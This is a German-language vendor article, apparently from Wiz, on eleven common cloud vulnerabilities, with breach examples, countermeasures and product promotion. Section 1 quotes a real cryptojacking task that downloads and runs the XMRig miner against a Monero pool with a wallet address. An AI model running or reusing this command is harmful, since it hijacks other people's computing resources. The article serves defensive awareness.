Cloud-Schwachstellen im Überblick
Durch Cloud-Schwachstellen können Angreifer unbefugten Zugriff auf Systeme erlangen, sensible Daten stehlen oder geschäftskritische Dienste stören. Besonders häufig nutzen sie Fehlkonfigurationen, ungesicherte APIs oder fehlende Verschlüsselung aus.
Laut den Erkenntnissen von Wiz Research aus dem Jahr 2025 sind 54 % der Cloud-Umgebungen durch serverless Functions und exponierte Virtual Machines (VMs) mit kritischen Daten angreifbar. Das ist jedoch nur ein kleiner Ausschnitt der Bedrohungslage.
Auch Verizon bestätigt diesen Trend. Im Data Breach Investigations Report 2025 heißt es: „Das Ausnutzen von Schwachstellen ist als anfänglicher Zugriffsvektor für Sicherheitsverletzungen erneut gewachsen und erreicht nun 20 %." Die Folgen reichen von Reputationsschäden und Betriebsunterbrechungen bis hin zu Bußgeldern und erheblichen finanziellen Verlusten. Statista beziffert die durchschnittlichen Kosten einer Datenschutzverletzung in den USA für das Jahr 2023 auf 9,48 Millionen US-Dollar.
Die meisten Cloud-Sicherheitsverletzungen lassen sich auf wenige, wiederkehrende Schwachstellen zurückführen. Wer diese frühzeitig erkennt und gezielt absichert, reduziert die Angriffsfläche erheblich. In diesem Artikel erfahren Sie, welche Cloud-Schwachstellen besonders häufig auftreten und mit welchen Maßnahmen Sie sie wirksam beheben.
Die 11 häufigsten Cloud-Schwachstellen
Zu den häufigsten Cloud-Schwachstellen zählen:
Jede dieser Schwachstellen eröffnet Angreifern neue Angriffsmöglichkeiten. Wer ihre Ursachen kennt und geeignete Schutzmaßnahmen ergreift, kann die Angriffsfläche seiner Cloud-Umgebung deutlich reduzieren.
1. Fehlkonfigurationen
Fehlkonfigurationen zählen zu den häufigsten Ursachen für Sicherheitsvorfälle in Cloud-Umgebungen. Sie entstehen durch Fehler in den Sicherheitseinstellungen von Cloud-Anwendungen und -Systemen – etwa bei VMs, Containern, serverless Umgebungen oder Infrastructure as Code (IaC). Häufig entstehen sie durch administrative Nachlässigkeit, schnelllebige Entwicklungsumgebungen, mangelndes Bewusstsein und Fehlannahmen zur Sicherheit.
Letztlich gehören Fehlkonfigurationen in der Cloud zu den wichtigsten Angriffsvektoren für Datenschutzverletzungen. Typische Beispiele sind offene Ports für ausgehenden Serververkehr, überprivilegierte Identitäten, fehlende Überwachung, ungesicherter Speicher (etwa offene S3-Buckets), die Nutzung von Standardpasswörtern und -anmeldedaten sowie Fehlkonfigurationen bei Drittanbietern.
Praxisbeispiel:
Wiz Research entdeckte im Juni 2025 eine Cryptojacking-Kampagne der Gruppe JINX-0132. Die Gruppe nutzte Fehlkonfigurationen in DevOps-Tooling wie der Docker-API und Gitea aus, um ihre Software auszurollen. So identifizierten die Angreifer beispielsweise eine fehlkonfigurierte und veraltete Instanz, die Remote Code Execution ermöglichte.
Jede schädliche Task der Gruppe sah folgendermaßen aus:
"Config": {
"command": "sh",
"args": [
"-c",
"apt-get update -y ; sudo apt-get update -y ; apt-get install wget ; sudo apt-get install wget ; wget https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz ; sudo wget https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-linux-static-x64.tar.gz ; tar -xzf xmrig-6.22.2-linux-static-x64.tar.gz ; cd xmrig-6.22.2 ; chmod 777 xmrig ; sudo chmod 777 xmrig ; ./xmrig -o pool.supportxmr.com:443 -u 468VEByGGFQSN2bJG99ovhe5SG9SLxLAA9e2s7tWFxvBM33FAEP4JbwYHEeXexq8djYpDEHg9Jq6eGF3rREnAAc4UkjLd3E --tls --coin monero --cpu-max-threads-hint=90 -p {redacted}:4646"
]
}Grundlegende Gegenmaßnahmen:
Ein Cloud Security Posture Management-Tool auditiert und korrigiert Cloud-Konfigurationen regelmäßig.
Das Prinzip der geringsten Berechtigung begrenzt den Zugriff auf Cloud-Ressourcen.
Infrastructure as Code sorgt für konsistente und korrekte Konfigurationen.
2. Mangelnde Transparenz
Viele Unternehmen nutzen heute mehrere Cloud-Plattformen und integrieren laufend neue Dienste. Dadurch entstehen komplexe, dynamische Umgebungen, in denen Sicherheitsrisiken leicht übersehen werden.
Ohne zentrale, kontextbasierte Transparenz über das gesamte Cloud-Ökosystem lassen sich Cloud-Schwachstellen weder wirksam erkennen und priorisieren noch ihre Risiken zuverlässig bewerten und reduzieren.
Praxisbeispiel:
Fehlende Transparenz führt auch dazu, dass Unternehmen über Jahre hinweg angreifbar bleiben, ohne es zu bemerken. So legte Toyota Japan über fast zehn Jahre hinweg unbemerkt die Personen- und Fahrzeugdaten von 2,15 Millionen Kundinnen und Kunden offen. Mit besserer Transparenz hätte Toyota die zugrunde liegende Fehlkonfiguration deutlich früher erkannt und behoben.
Grundlegende Gegenmaßnahmen:
Zentrale Lösungen für Logging und Monitoring erfassen alle Cloud-Ressourcen.
Eine Cloud Native Application Protection Platform schafft Transparenz über sämtliche Cloud-Ressourcen und -Aktivitäten.
Warnmeldungen decken ungewöhnliche oder unbefugte Aktivitäten auf.
Eine regelmäßige Überprüfung entfernt nicht benötigte Ressourcen.
3. Unzureichendes Zugriffsmanagement
Cloud-Umgebungen verwalten heute weit mehr digitale als menschliche Identitäten. Dadurch werden Schwachstellen im Identity and Access Management (IAM) und anderen identitätsbezogenen Sicherheitskontrollen zu besonders attraktiven Angriffsvektoren, über die Angreifer in IT-Umgebungen eindringen, Daten exfiltrieren und Schaden anrichten können.
Häufige Ursachen sind fehlende MFA, übermäßige Berechtigungen, schwache Zugangsdaten und fehlerhafte Zugriffsrichtlinien.
Praxisbeispiel:
Im Jahr 2024 haben Angreifer über eine Zugriffsschwachstelle in einem Tool zur automatisierten Systemkonfiguration auf E-Mail-Adressen, gehashte Passwörter und weitere Anmeldedaten von Dropbox Sign zugegriffen. Der Angriff legte zwar Anmeldedaten der Nutzenden offen, doch Dropbox konnte die Auswirkungen automatisch begrenzen, weil die Sign-Infrastruktur von den übrigen Tools und Systemen isoliert war.
Grundlegende Gegenmaßnahmen:
Das Prinzip der geringsten Berechtigung begrenzt den Zugriff auf Cloud-Ressourcen.
Role-based Access Control gewährt nur die tatsächlich benötigten Berechtigungen.
MFA und Single Sign-on erhöhen die Sicherheit der Anmeldung.
Regelmäßige Schulungen vermitteln bewährte Verfahren für das Zugriffsmanagement.
Ein Cloud Access Security Broker überwacht und steuert den Zugriff auf Cloud-Ressourcen.
4. Insider-Bedrohungen
Insider-Bedrohungen gehen von Personen aus, die bereits Zugriff auf Teile der Cloud-Umgebung besitzen. Zu möglichen Insidern gehören aktuelle und ehemalige Mitarbeitende, Drittanbieter und Partner.
Solche Bedrohungen entstehen durch versehentliche Fehler, Nachlässigkeit oder böswillige Absicht. Insider-Angriffe über Phishing und andere Social-Engineering-Techniken sind verbreitet, weil der Mensch stets das schwächste Glied in der Sicherheitslage eines Unternehmens ist.
Praxisbeispiel:
Verärgerte Cloud-Fachkräfte stellen ein erhebliches Sicherheitsrisiko dar, weil sie Cloud-Schwachstellen und deren Ausnutzung genau kennen. So ging die Capital-One-Sicherheitsverletzung von 2019, die die Daten von über 100 Millionen Menschen in den USA und Kanada kompromittierte, auf die Handlungen eines ehemaligen Amazon-Ingenieurs zurück. Dieser Angreifer verfügte über das Wissen und die technische Expertise, um die Amazon-Cloud-Infrastruktur von Capital One zu hacken. Die Behebung des Cyberangriffs kostete schätzungsweise 100 bis 150 Millionen US-Dollar.
Ein aktuelleres Beispiel: Das Lebensmittel-Start-up KiranaPro erlebte nach Entlassungen eine Sicherheitsverletzung. Ein verärgerter ehemaliger Mitarbeiter löschte Teile der Backend-Infrastruktur, darunter Cloud-Logs und GitHub-Code, um das Unternehmen zu sabotieren.
Grundlegende Gegenmaßnahmen:
Eine kontinuierliche Beobachtung der Mitarbeiteraktivitäten deckt verdächtiges Verhalten auf.
Strenge Zugriffskontrollen gelten auch für vertrauenswürdige Insider.
Hintergrundprüfungen erfassen Mitarbeitende mit kritischem Zugriff.
Schulungen und eine Unternehmenskultur mit klarem Fokus auf Sicherheit stärken das Bewusstsein.
5. Ungesicherte APIs
APIs verbinden Cloud-Dienste miteinander. Sind sie unzureichend geschützt, eröffnen sie Angreifern einen direkten Zugang zu Anwendungen und Daten. Deshalb sind API-Schwachstellen ein prominenter Angriffsvektor für Angreifer. Beispiele für Schwachstellen bei ungesicherten APIs sind unzureichende Zugriffskontrollen, schwache Authentifizierungsprotokolle, falsch gesetzte Rate Limits und die versehentliche Offenlegung von Daten.
Praxisbeispiel:
Der Angriffsvektor der Optus-Sicherheitsverletzung im Jahr 2022 war eine ungesicherte, öffentlich zugängliche API, die keine Authentifizierung erforderte. Diese Sicherheitsverletzung kompromittierte die sensiblen Daten von rund 10 Millionen Kundinnen und Kunden.
Grundlegende Gegenmaßnahmen:
Starke Authentifizierungs- und Autorisierungsmechanismen schützen Cloud-APIs.
Rate Limiting und weitere Kontrollen verhindern den Missbrauch von APIs.
Ein regelmäßiges Scanning deckt Schwachstellen in APIs auf.
6. Zero-Days
Zero-Day-Schwachstellen sind bislang unbekannte Sicherheitslücken, für die noch kein Patch verfügbar ist. Sie können viele Formen annehmen, werden aber erst durch fehlende Erkennung und Überwachung zu einer Gefahr.
Praxisbeispiel:
Microsoft und Google zählen zu den prominentesten Opfern von Zero-Day-Angriffen. Im Jahr 2023 hätten Schwachstellen in Microsoft Windows und Office es Angreifern ermöglicht, Remote Code Execution durchzuführen, Daten zu exfiltrieren und legitime Nutzende auszusperren. Im selben Jahr musste Google eine Reihe von Zero-Day-Schwachstellen in Chrome beheben, von denen eine als hochkritisch eingestuft wurde.
Grundlegende Gegenmaßnahmen:
Alle Software und Systeme bleiben stets auf dem aktuellen Stand.
Systeme zur Erkennung und Abwehr von Eindringversuchen schützen die Umgebung.
Virtuelles Patching reduziert Risiken, bis Anbieter Patches bereitstellen.
7. Shadow IT
Shadow IT entsteht, wenn Mitarbeitende Cloud-Dienste ohne Freigabe der IT nutzen. Dadurch entstehen blinde Flecken in der Sicherheitsüberwachung. Zu den Risiken gehören finanzielle Schäden durch nicht autorisierte Cloud-Workloads für private Zwecke, Datenverlust durch nicht autorisierte Filesharing-Dienste oder die Nutzung nicht autorisierter Messaging-Dienste für die geschäftliche Kommunikation.
Manche Mitarbeitende weichen auf vertraute Tools aus, wenn interne Technologien ihre Arbeitsabläufe ausbremsen oder ihre Anforderungen nicht erfüllen. Andere umgehen bewusst Richtlinien, um Cloud-Ressourcen für private Zwecke zu nutzen oder – im schlimmsten Fall – Unternehmensdaten zu exfiltrieren.
Praxisbeispiel:
Im Jahr 2024 stellte der Fintech-Anbieter Finastra fest, dass ein Angreifer auf eine SFTP-Plattform eines Drittanbieters zugegriffen hatte, die das Unternehmen für Kundendateiübertragungen nutzte. Zu den gestohlenen Daten gehörten sensible Kundendateien, die der Angreifer im Darknet zum Verkauf anbot. Das Shadow-IT-Problem entstand, weil die SFTP-Plattform außerhalb der Kontrolle und Überwachung des zentralen Sicherheitsteams lag. Da das Team diesen Prozess nicht steuerte, bemerkte Finastra die Sicherheitsverletzung nicht sofort.
Grundlegende Gegenmaßnahmen:
Nicht autorisierter Code (Shadow Code), den Entwickler einsetzen, wird konsequent entfernt.
Unternehmensspezifische Sicherheitsrichtlinien erfüllen die individuellen Anforderungen und Ziele einer Organisation.
Zugriffskontrollen über alle Cloud-Umgebungen hinweg regeln, wer IT-Ressourcen bereitstellen und wo sie integriert werden.
8. Fehlende Verschlüsselung
Beim Verschlüsseln werden Daten in ein Format überführt, das sich nur mit dem passenden Schlüssel lesen lässt. Selbst wenn Unbefugte an die verschlüsselten Daten gelangen, können sie sie deshalb nicht entziffern. Fehlende Verschlüsselung stellt hingegen eine erhebliche Schwachstelle im Cloud-Speicher dar, weil Unbefugte so auf sensible Daten zugreifen können, sobald sie in die Cloud-Umgebung eindringen.
Zusätzlich verhindert die Verschlüsselung bei der Übertragung für Cloud-Dienste (etwa HTTPS), dass böswillige Akteure auf Daten zugreifen, während diese zwischen Systemen übertragen werden.
Praxisbeispiel:
Eine der schwerwiegendsten Datenschutzverletzungen der Geschichte ereignete sich bei Equifax, einer der drei großen Wirtschaftsauskunfteien in den USA. Dieser Cyberangriff aus dem Jahr 2017 kompromittierte die persönlichen Daten von rund 148 Millionen Menschen. Die eigentliche Ursache war eine ungepatchte Schwachstelle im Web-Framework Apache Struts. Spätere Untersuchungen ergaben jedoch, dass Equifax sensible Daten unverschlüsselt gespeichert hatte, was die Auswirkungen erheblich verschärfte.
Grundlegende Gegenmaßnahmen:
Daten werden sowohl bei der Übertragung als auch im Ruhezustand verschlüsselt, um Dritten nicht unbeabsichtigt Zugriff auf Cloud-Daten zu gewähren.
Systeme und Datastores werden so konfiguriert, dass ein Zugriff nur über sichere Protokolle möglich ist.
Firewalls blockieren unsichere Zugriffsmethoden.
Eine vollständige Festplattenverschlüsselung mit AES256 bietet maximale Sicherheit für VM-Datenträger.
Transparente Datenverschlüsselung hält Datenbanken auch während der Nutzung sicher.
9. Unzureichende Segmentierung
Vielen Cloud-Umgebungen fehlen wirksame Segmentierungskontrollen. Gelingt Angreifern der Zugriff auf eine Ressource, können sie sich dadurch leichter innerhalb der Cloud-Umgebung ausbreiten. Eine konsequente Segmentierung verhindert dagegen, dass eine Sicherheitsverletzung eskaliert, auf andere Teile der Cloud-Umgebung übergreift und Ressourcen wie Kundendaten und Anmeldedaten betrifft.
Praxisbeispiel:
Im Jahr 2025 verzeichneten Unimicron, Presto und weitere Unternehmen eine Zunahme von Ransomware-Angriffen. Wegen mangelhafter Segmentierung, insbesondere zwischen IT und operativer Technologie, breiteten sich die Kompromittierungen in den meisten Fällen über mehrere Umgebungen aus.
Ein weiteres Opfer war der South African Weather Service (SAWS). Durch den Angriff geriet der Prognoseprozess der Organisation ins Stocken, und das System lieferte keine verlässlichen Berichte mehr. Stattdessen musste SAWS auf andere Quellen zurückgreifen, und der eingeschränkte Dienst betraf kritische Bereiche wie Luft- und Seefahrt.
Grundlegende Gegenmaßnahmen:
Eine strikte Netzwerkzonierung steuert den Datenverkehr.
Interne Firewalls, kontinuierliches Monitoring sowie regelmäßige Prüfungen und Tests sichern die Segmentierung ab.
Isolation als Standardprinzip und kritische Ressourcen mit kontrollierten Gateways segmentieren den Zugriff auf zentrale Systeme.
10. Anfällige Dependencies
Wenn cloud-native Anwendungen auf Ressourcen von Drittanbietern wie Libraries und Services angewiesen sind, müssen sie Kompromittierungen über Systemgrenzen hinweg berücksichtigen. Aktualisiert ein Partner etwa sein System, kann dies unbemerkt schädlichen Code oder Backdoors in die eigene Umgebung einschleusen.
Diese Gefahren sollten Organisationen daran erinnern, Sicherheitslücken bei Drittanbietern im Blick zu behalten und eine eigene Sicherheitsinfrastruktur aufzubauen. Lösungen wie Wiz erkennen zudem Risiken durch Drittanbieter und bieten Funktionen zur Reduzierung und zum Schutz.
Praxisbeispiel:
Angreifer fanden eine Schwachstelle in MOVEit, einer App zur Dateiübertragung, als die CL0p-Angreifer Malware einschleusten, um an vertrauliche Informationen zu gelangen. Die Sicherheitsverletzung dieses Dateiübertragungs-Tools eines Drittanbieters betraf Tausende Organisationen weltweit, die es für den internen und externen Datenaustausch nutzten.
Grundlegende Gegenmaßnahmen:
Ein Inventar aller genutzten Dienste, SDKs und Libraries von Drittanbietern schafft Überblick.
Automatisierte, cloud-native Lösungen wie Wiz scannen unbekannte Schwachstellen.
Die Beobachtung von Sicherheitswarnungen ermöglicht ein schnelles Patchen von Risiken in Dependencies.
Runtime-Security-Tools erkennen auffälliges Verhalten von fremdem Code und fremden Anwendungen.
11. Unzureichendes Logging und Monitoring
Ohne aktives Monitoring der Cloud-Umgebung bleiben Cloud-Bedrohungen unter Umständen monatelang unentdeckt. Dadurch kann aus einer kleinen Kompromittierung eine deutlich größere Cloud-Sicherheitsverletzung über die gesamte Infrastruktur hinweg werden.
Praxisbeispiel:
Jelly Bean Communications, das eine Website für die Krankenversicherung von Kindern erstellte und hostete, erhielt ein Bußgeld für eine Sicherheitsverletzung, die sieben Jahre lang (2013 bis 2020) unentdeckt blieb. Da das Unternehmen die HIPAA Security Rule einhalten musste, drohten schwerwiegende Folgen, als eine bundesbehördliche Untersuchung ergab, dass die Sicherheitsverletzung direkt darauf zurückging, dass das Unternehmen mehrere Schwachstellen der Website nicht gepatcht hatte. Im Jahr 2023 legte Jelly Bean den Fall mit einer Zahlung von 293.771 US-Dollar bei; die Verletzung hatte potenziell die Daten von 3,5 Millionen Antragstellenden und Versicherten offengelegt.
Grundlegende Gegenmaßnahmen:
Relevante Ereignisse wie Anmeldeversuche, fehlgeschlagene Authentifizierungen und API-Aufrufe werden dokumentiert, um Anomalien aufzudecken. (Eine Lösung wie Wiz filtert Rauschen heraus und priorisiert Risiken.)
Logs aus Servern, Anwendungen und Cloud-Diensten laufen in einer cloud-native Lösung zusammen und schaffen vollständige Transparenz.
Automatisierte Erkennung und Alarmierung halten Probleme in Echtzeit unter Kontrolle.
Der Lebenszyklus des Vulnerability Managements Schritt für Schritt
Wer den sechsteiligen Lebenszyklus des Vulnerability Managements versteht, kann gezielt handeln, den Überblick behalten und Risiken souverän steuern:
Erkennung und Bewertung. Ein Scan der Umgebung deckt Fehlkonfigurationen, ungepatchte Software und Angriffsflächen auf. Ohne vollständige Abdeckung besteht das Risiko, kritische blinde Flecken bei Identitäten, Daten oder Runtime zu übersehen.
Priorisierung. Die Ergebnisse werden nach realer Ausnutzbarkeit gefiltert, nicht allein nach CVSS-Werten. Teams verschwenden oft Zeit mit dem Patchen irrelevanter Probleme, während echte Risiken ungelöst bleiben.
Behebung. Korrekturen werden den richtigen Teams zugewiesen, um Angriffspfade rasch zu blockieren. Verzögerungen, unklare Zuständigkeiten und riskante Patches lassen Angriffsflächen offen.
Verifizierung und Monitoring. Eine kontinuierliche Kontrolle bestätigt, dass Korrekturen wirksam bleiben und Risiken nicht erneut auftreten. Drift, mangelnde Transparenz und ausgelassene erneute Scans schleusen Bedrohungen unbemerkt wieder ein.
Reporting. Trends und Ergebnisse werden verfolgt, um den Sicherheitsfortschritt zu belegen. Viele Teams setzen auf reine Problemzählungen, doch für die Führungsebene zählt die Zeit bis zur Behebung, um Risiken zu senken.
Verbesserung. Die gewonnenen Erkenntnisse verbessern Tooling, Workflows und Reaktionsgeschwindigkeit. Wer kontinuierliches Vulnerability Management zugunsten einer statischen Checkliste vernachlässigt, begrenzt seine langfristige Reife.
Die Rolle der Automatisierung beim Aufspüren und Beheben von Schwachstellen
Mit der wachsenden Anzahl von Cloud-Ressourcen wird ein manuelles Vulnerability Management zunehmend ineffizient. Automatisierung hilft Sicherheitsteams dabei, Schwachstellen kontinuierlich zu erkennen, Risiken schneller zu priorisieren und Maßnahmen zur Behebung effizient umzusetzen. Das beschleunigt den gesamten Vulnerability-Management-Prozess, reduziert menschliche Fehler und blinde Flecken und verbessert die Transparenz über die gesamte Cloud-Umgebung.
So verbessert Automatisierung das Risikomanagement:
Sie findet neue Ressourcen und Schwachstellen unmittelbar.
Sie ordnet Risiken für Organisation und Sicherheit nach Schweregrad, sodass die Reihenfolge der Bearbeitung klar ist.
Sie orchestriert die Behebung über effiziente Workflows.
Praxisbeispiel: Besonders nützlich war Automatisierung für eine Forschungseinrichtung der US Navy und ihre Partnerschaft mit dem Technologieunternehmen Strategic Business Systems (SBS). Aufgrund einer komplexen Cloud-Umgebung und der hohen Standards des Department of Defense (DoD) benötigte das Unternehmen eine Lösung, um seine Infrastruktur abzusichern und zugleich vollständige Transparenz zu wahren. SBS entschied sich für Wiz, um die Umgebung der US-Navy-Einrichtung zu zentralisieren – mit Automatisierung im Mittelpunkt. Dank der automatisierten Funktionen von Wiz für Sicherheit, Scanning und Compliance konnte SBS anschließend die Standards des DoD erfüllen.
Insgesamt reduziert Automatisierung im Sicherheits-Stack manuelle Prozesse und ermöglicht es, die Verteidigung zu einem proaktiven Sicherheitsansatz auszubauen. Wie das vorherige Beispiel zeigt, unterstützen dabei die agentless Scanning-Funktionen von Wiz sowie die KI-gestützte Behebung, indem sie kontextbezogene Orientierung entlang der Code-to-Cloud-Pipeline bieten.
Wiz – ein besserer Ansatz gegen Cloud-Schwachstellen
Die Menge an Cloud-Schwachstellen in dynamischen IT-Umgebungen überfordert Unternehmen häufig. Zwar setzen sie oft traditionelle Lösungen für das Vulnerability Management ein, um Schwachstellen zu erkennen und zu beheben, doch diesen fehlt meist der Kontext, den Unternehmen brauchen, um Schwachstellen mit geringem Risiko zu priorisieren.
Wiz begegnet diesen Herausforderungen, indem sich die Plattform über agentless und tiefgreifendes Vulnerability Scanning und die entsprechende Analyse auf die wichtigsten und risikoreichsten Cloud-Schwachstellen konzentriert.
Mit wachsender Kundenzahl können wir zuversichtlich sagen, dass wir alle bekannten Schwachstellen kennen – und dass auch neue Schwachstellen für uns schnell sichtbar werden.
Weil die Risikobewertung von Wiz für Cloud-Schwachstellen Workload-, Cloud- und Geschäftskontext berücksichtigt, deckt sie Schwachstellen nicht nur auf, sondern zeigt auch, wie und warum sie sich auf die Organisation auswirken. So bleiben IT-Umgebungen vor Cloud-Schwachstellen geschützt, ohne dass Alert Fatigue entsteht. Eine Demo zeigt, wie der einzigartige Ansatz von Wiz zur Reduzierung von Cloud-Schwachstellen Cloud-Umgebungen absichert.
Das kostenlose CVE Risk Assessment liefert einen sofortigen Überblick über den Zustand der Cloud-Infrastruktur. Es identifiziert die Schwachstellen, die eine Cloud exponieren, und zeigt, wie sie sich wirksam beheben lassen.